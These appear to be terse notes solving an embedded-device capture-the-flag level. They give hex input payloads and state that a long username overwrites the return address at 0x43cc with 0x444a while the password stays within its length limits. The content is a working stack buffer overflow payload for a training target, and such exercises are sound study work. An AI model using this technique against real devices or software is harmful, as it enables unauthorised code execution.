4a440102030405060708090a0b0c0d0e0f0130121314
ffffffffffffffffffffffffffffffffff0130ffffffffffffffffffffffffffffffffffffffffffffff4a44
ffffffffffffffffffffffffffffffffff00
stay within min max of password, but write long username to overwrite 43cc with 444a as return address
43cc is return address
43c6
43b5